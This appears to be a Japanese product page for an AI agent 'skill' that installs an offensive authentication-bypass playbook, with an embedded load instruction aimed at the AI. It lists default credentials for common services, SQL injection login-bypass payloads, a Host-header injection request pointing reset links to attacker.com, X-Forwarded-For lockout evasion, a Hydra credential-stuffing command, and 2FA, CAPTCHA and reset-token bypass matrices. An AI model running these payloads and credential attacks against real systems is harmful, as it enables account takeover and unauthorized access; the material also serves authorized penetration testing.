authbypass-authentication-flaws について
認証の脆弱性を許可された範囲で検証するスキルです。ログイン回避、パスワードリセット、アカウント列挙、ブルートフォース、MFAに加え、セッション管理と認証情報のテスト計画も扱います。
主な機能
- 01SQLインジェクションによるログイン回避の検証
- 02パスワードリセットの脆弱性確認
- 03アカウント列挙とブルートフォースの検証
- 04MFA回避の確認
- 05セッション管理の脆弱性確認
- 06認証情報テストの計画
活用シーン
- 01ログインとパスワードリセットの評価
- 02アカウント列挙とロックアウト制御の確認
- 03MFAとセッション制御の検証
- 04許可された認証情報テストの計画
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill authbypass-authentication-flawsインストール後、Claude Code で/authbypass-authentication-flawsを入力して読み込まれたか確認します。
詳細
SKILL: 認証バイパス — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION: エキスパート向けの認証バイパス手法。SQL インジェクションを利用したログインバイパス、パスワードリセットの欠陥、トークンの予測可能性、アカウント列挙、ブルートフォースバイパス、多要素認証バイパスを扱います。JWT/OAuth(../jwt-oauth-token-attacks/SKILL.md で解説)とは別の内容です。ログイン機構そのものに焦点を当てています。
0. 認証情報テストの計画(許可された範囲内)
ルーティング項目の削減、デフォルト認証情報、ユーザー名のバリエーション、ポートの優先順位、ワードリストのサイズ調整について、ここで一元的に扱います。
サービス優先の小規模な候補セット
| サービスタイプ | 最初に試すユーザー名 | 最初に試すパスワード |
|---|---|---|
| phpMyAdmin | root、admin | 空、root、phpmyadmin、admin |
| FTP | ftp、admin、test | 空、ftp、admin、123456 |
| SSH | root、admin、サービスアカウント名 | root、admin、季節にちなんだバリエーション |
| MySQL | root、mysql | 空、root、mysql |
| Tomcat / Java 管理画面 | tomcat、admin、manager | tomcat、admin、s3cret |
| WebLogic | weblogic、admin | weblogic、welcome1、admin |
ユーザー名の分類
| 分類 | 例 |
|---|---|
| 一般的な管理者 | admin、administrator、root、test、guest |
| サポート/運用 | dev、ops、sysadmin、service、backup |
| 名前ベース | firstname、lastname、f.lastname、first.last |
| メールアドレス由来 | 会社のメールアドレス形式における@より前の部分 |
| 製品ベース | tomcat、weblogic、jenkins、gitlab |
ワードリストのサイズとポートの優先順位
| シナリオ | 推奨サイズ | 理由 |
|---|---|---|
| デフォルトの管理パネル | パスワード5~50個 | ここでは巨大なリストよりデフォルト設定のほうが効果的です |
| 製品が判明している内部サービス | ベンダー固有の小規模セット | 汎用リストより有効な兆候を得られます |
| 制御が弱い一般ユーザー向けログイン | 上位20件または上位100件 | すばやく検証できます |
| ログインがレート制限されている場合 | 小規模リスト+ヘッダー/ローテーション戦略 | 試行回数を温存します |
| オフラインでのハッシュ解析 | 大規模な辞書 | オンラインのブルートフォース規則は適用されません |
一般的なポートとサービスのインターフェースを優先します。80/443/8080/8443 の管理パネル、22 の SSH、21 の FTP、3306/5432/6379/27017 のデータまたは管理サービスです。
1. SQL インジェクションによるログインバイパス
古典的な手法ですが、レガシーシステム、独自 ORM、生のクエリコードでは今でも見つかります。
-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'
-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'
-- Blind: does this work?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1
各フィールドを個別にテストします — 脆弱なのは1つのフィールドだけかもしれません。
2. パスワードリセットの脆弱性
推測可能/予測可能なリセットトークン
リセットトークンが以下に基づいていないか確認します。
- Timestamp: token=1691234567890 (Unix time)
- Sequential: token=1001, 1002, 1003
- MD5(email): echo -n "[email protected]" | md5sum
- MD5(username+timestamp): reversible
- Short token (4-6 digits): brute-forceable
テスト:リセットメールを連続して3回リクエストし、トークンのパターンを比較します。
有効期限のないリセットトークン
1. Request password reset → get token via email
2. Wait 48+ hours (token should expire)
3. Use old token → does it work?
リセットトークンの再利用
1. Request reset → get token T1
2. Complete reset with T1
3. Use T1 again → does it work again?
リセットメールにおけるHostヘッダーインジェクション
アプリケーションがHostヘッダーを使ってリセットURLを生成する場合:
POST /forgot-password HTTP/1.1
Host: attacker.com ← inject attacker's domain
Content-Type: application/x-www-form-urlencoded
[email protected]
→ 被害者に、attacker.com/reset?token=VICTIM_TOKENを指すリンクを含むリセットメールが送信されます
→ 被害者がクリックすると、攻撃者がトークンを取得します
テスト:Host:を変更してパスワードリセットをリクエストし、リセットリンクの送信先をメールで確認します。
Referer内のパスワードリセットトークン
1. Request reset → go to reset URL with token
2. Reset page loads third-party resources (analytics, fonts)
→ Referer header leaks: https://target.com/reset?token=TOKEN
→ Third-party server receives token in logs
現在のパスワードなしでのパスワード変更
PUT /api/user/password
{"new_password": "hacked"}
→ No current_password field required?
→ Combine with CSRF for account takeover
3. アカウント列挙
有効なユーザー名やメールアドレスが特定されると、標的型攻撃が可能になります。
エラーメッセージの違い
Invalid username → "User not found"
Valid username, wrong pass → "Incorrect password"
→ Enumerate valid accounts
応答時間の違い
Invalid username → fast response (no DB lookup)
Valid username → slightly slower (DB lookup + hash comparison)
→ Timing oracle
パスワードリセットのフロー
POST /forgot-password {"email": "[email protected]"}
→ "If this email exists, we sent a reset link" (proper)
vs.
→ "This email is not registered" (enumeration possible)
登録エンドポイント
POST /register {"email": "[email protected]"}
→ "Email already registered" → confirms account exists
vs.
→ "Verification email sent" for both → no enumeration
4. ブルートフォースバイパス
N回の試行後にロックアウトし、その後リセットされる場合
Lockout at 10 attempts → try 9 wrong passwords → lock
Wait for reset period (usually 30 min or 1 hour)
→ Try 9 more → repeat → no permanent lockout
IPベースのロックアウトバイパス
X-Forwarded-For: 1.1.1.1 ← change each request
X-Real-IP: 2.2.2.2
Rotate through IPs in header
パスワードの切り替えとユーザー名の切り替え
Normal brute: try many passwords for one user → lock
Reverse brute: try ONE password for many users
→ "password123" against all users → find those with weak password
→ No single account locked out
クレデンシャルスタッフィング
HaveIBeenPwnedのデータセットにある漏えいした認証情報を標的に対して使用します。
# Tools: Hydra, Burp Intruder, custom scripts
hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"
5. 多要素認証バイパス
2FA完了前のセッションCookie
Flow: Login (password correct) → redirect to 2FA page → enter code
Attack: After password step, session cookie is set but 2FA not yet checked.
→ Use session cookie to directly access /dashboard
→ Skip 2FA page entirely
2FAコードのブルートフォース
4-6 digit TOTP codes = 1,000,000 possibilities max
If no lockout on 2FA step:
→ Brute force all codes (tool: Burp Intruder, sequential)
→ TOTP windows: 30-second window, some accept previous/next window
ログイン時には適用されず、重要な操作にのみ適用される2FA
Login doesn't require 2FA, but:
DELETE /account or POST /transfer requires 2FA
Attack: Is 2FA checked on those actions or only on login?
→ If only login: log in once → no 2FA needing verification for actions
2FAバックアップコードの悪用
Generate backup codes (usually 8-10 single-use)
Test:
→ Are backup codes rate-limited?
→ Can backup codes be used multiple times?
→ Short codes (6-8 chars)? Brute-force if no rate limit
2FAコードの再利用
TOTP codes valid for one use
→ Use same TOTP code twice → does second use work?
→ Replay attack if server doesn't track used codes
6. OAuth/SSOのアカウント乗っ取りパターン
メールアドレスの申告を信頼
1. Create account at attacker-controlled OAuth provider
2. Set email claim = [email protected]
3. Link/login via that provider
→ If server trusts email claim without verification → account merge/takeover
SSO連携後はパスワードが適用されない
1. User links Google SSO
2. User forgets password (account has no password set after SSO only)
3. "Forgot Password" flow → resets password even for SSO-only accounts?
→ Can set password → now bypass SSO → direct login
7. ユーザー名/パスワードフィールドの操作
長いパスワードによる DoS → バイパス
Some apps hash passwords before sending to database.
bcrypt has 72-byte limit — input beyond 72 bytes is ignored.
Attack:
→ Register with password "A"*100
→ Login with password "A"*72 → same hash → works
→ Login with "A"*71 + "totally different" → if truncation → same hash if first 72 chars match
ユーザー名のヌルバイト
username=admin%00 vs username=admin
→ Null byte truncation in some string comparisons
→ "admin\0attacker" = "admin" in C-string comparison
Unicode 正規化
Username: "ⓢcott" → normalizes to "scott" → impersonates "scott"
Username: "admin" (various Unicode homoglyphs for letters a,d,m,i,n)
8. セッション管理の脆弱性
ログアウト時にセッションが無効化されない
1. Log in → capture session cookie
2. Log out
3. Replay captured session cookie → still valid?
→ Session not server-side invalidated
権限変更時にセッションが再生成されない
1. Log in as low priv → get session cookie
2. Admin upgrades your role
3. Old session cookie now has admin access?
→ Session not regenerated → old token inherits new privileges
推測可能なセッショントークン
Token: base64(userid+timestamp) → reversible
Token: sequential integers → session ID= your_session_id -/+ small number
Token: short random (32-bit entropy) → brute-forceable
9. 認証テストのチェックリスト
□ Try SQL injection on login fields (' OR 1=1--)
□ Test password reset: predict token, host header injection, Referer leak
□ Test account enumeration via error messages / timing
□ Check 2FA: skip step (direct URL), brute force codes, reuse codes
□ Test brute force protections: X-Forwarded-For bypass, reverse brute
□ Check session invalidation on logout
□ Check session regeneration after privilege change
□ Test password change requiring current password
□ Test long passwords (bcrypt 72-byte truncation)
□ OAuth/SSO: test email claim trust, password set after SSO
□ Check remember_me tokens: how long, revocable, predictable?
10. パスワードリセット攻撃マトリックス(22 パターン)
| # | パターン | 説明 |
|---|---|---|
| 1 | 推測可能なリセットトークン | タイムスタンプ、ユーザー ID、または連番に基づくトークン |
| 2 | トークンがユーザーに紐付けられていない | ユーザー A 用に生成されたトークンでユーザー B のパスワードをリセットする |
| 3 | レスポンス本文にトークンが含まれる | リセットトークンが HTTP レスポンスで返される(メールだけではない) |
| 4 | URL パラメーターにトークンが含まれる | 外部リソースへの Referer ヘッダーでリセットリンクのトークンが見える |
| 5 | トークンに有効期限がない | トークンが無期限に有効なままになる |
| 6 | トークンの再利用 | 同じトークンが複数回使用できる |
| 7 | 短い/総当たり可能なトークン | レート制限のない 4~6 桁の数字コード |
| 8 | Host ヘッダーを使ったパスワードリセット | Host: attacker.com → 攻撃者のドメインを含むリセットリンクが送信される |
| 9 | 登録によって既存アカウントが上書きされる | 同じメールアドレスで登録すると、パスワードが上書きされる |
| 10 | ステップのスキップ(フロントエンドのみ) | URL から「新しいパスワードを設定」するステップに直接移動する |
| 11 | レスポンスの改ざん | プロキシで {"status":"fail"} を {"status":"success"} に変更する |
| 12 | レスポンスに認証コードが含まれる | SMS/メールのコードが API レスポンスで返される |
| 13 | 並行セッションでのリセット | A のリセットを開始し、B のセッションで完了する |
| 14 | メールアドレス/電話番号のパラメーター汚染 | [email protected]&[email protected] |
| 15 | Unicode 正規化 | [email protected] と [email protected]、および見間違えやすい Unicode 文字 |
| 16 | リセット処理での SQL インジェクション | リセットクエリのメールアドレスフィールドにインジェクションできる |
| 17 | リセットエンドポイントの IDOR | リセット確認リクエストのユーザー ID を変更する |
| 18 | プロトコルをまたいだリセット | モバイル API が Web と同じトークンを検証しない |
| 19 | デフォルトのセキュリティ質問 | 答えが推測可能で、レート制限がない |
| 20 | トークン生成の競合状態 | 複数の同時リクエストで同じトークンが生成される |
| 21 | ログアウトしてもリセットが無効化されない | パスワード変更後も古いセッションが使用できる |
| 22 | リセットリンクが CDN/プロキシにキャッシュされる | パブリックキャッシュがトークン付きのリセットリンクを保存する |
11. CAPTCHA/認証バイパスのパターン(20 の方法)
| # | 方法 | 手法 |
|---|---|---|
| 1 | CAPTCHA パラメーターを削除する | リクエストから CAPTCHA フィールドを削除する |
| 2 | 空の CAPTCHA を送信する | captcha= または captcha=null |
| 3 | 前回の CAPTCHA を再利用する | 同じ CAPTCHA 値を複数回使用できる |
| 4 | CAPTCHA がセッションに紐付けられていない | セッション A で解いた CAPTCHA をセッション B で使用する |
| 5 | サーバー側の検証がない | CAPTCHA がクライアント側でのみチェックされる |
| 6 | レスポンスの改ざん | レスポンスを傍受して変更し、バイパスする |
| 7 | リクエストメソッドを変更する | POST→GET、またはその逆で CAPTCHA チェックを回避できる場合がある |
| 8 | JSON の Content-Type | フォームから JSON に切り替える — CAPTCHA ハンドラーが処理しない場合がある |
| 9 | OCR によるバイパス | 簡単な CAPTCHA は tesseract/ML で解読できる |
| 10 | 音声 CAPTCHA の脆弱性 | 音声は視覚 CAPTCHA より簡単なことが多い |
| 11 | レスポンスに SMS コードが含まれる | 認証コードが API レスポンス本文で返される |
| 12 | SMS コードが予測可能 | 連番または時間ベースのコード |
| 13 | コード検証にレート制限がない | 4~6 桁のコードを総当たりする |
| 14 | コードが電話番号/メールアドレスに紐付けられていない | 電話番号 A に送信されたコードをアカウント B で使用する |
| 15 | コードの有効期限がない | 古いコードが引き続き有効 |
| 16 | 電話番号にヌルバイトが含まれる | +1234567890%00 で重複排除をバイパスしつつ、同じ番号に配信される |
| 17 | 大文字と小文字の区別 | メールアドレス:[email protected] と [email protected] |
| 18 | 識別子の空白/エンコーディング | [email protected] と [email protected] (末尾に空白) |
| 19 | 同時リクエスト | 競合状態:CAPTCHA の読み込み前に認証リクエストを送信する |
| 20 | サードパーティ CAPTCHA のバイパス | reCAPTCHA のサイトキーの設定ミスにより、どのドメインでも使用できる |
12. 安全でない乱数生成 — トークン予測
UUID v1(時刻ベース — 予測可能です!)
UUID v1 format: timestamp-clock_seq-node(MAC)
# MAC address often leaked via other endpoints
# Timestamp is 100ns intervals since 1582-10-15
# Tool: guidtool (reconstruct possible UUIDs from known timestamp range)
MongoDB ObjectId
ObjectId = 4-byte timestamp + 5-byte random + 3-byte counter
# First 4 bytes = Unix timestamp → creation time leaked
# Counter is sequential → adjacent ObjectIds predictable
# If you know one ObjectId, nearby ones are calculable
PHP uniqid()
uniqid() = hex(microtime)
// Output: 5f3e7a4c1d2b3
// Entirely based on current microsecond timestamp
// Predictable if you know approximate server time
PHP mt_rand() の復元
# mt_rand() uses Mersenne Twister PRNG
# After observing ~624 outputs, full internal state is recoverable
# Tool: openwall/php_mt_seed
# Feed known outputs → recover seed → predict all future values
ツール
guidtool— UUID v1 の再構築AethliosIK/reset-tolkien— パスワードリセット用トークンの自動予測openwall/php_mt_seed— PHP mt_rand のシード復元sandwich— トークンのタイムスタンプ解析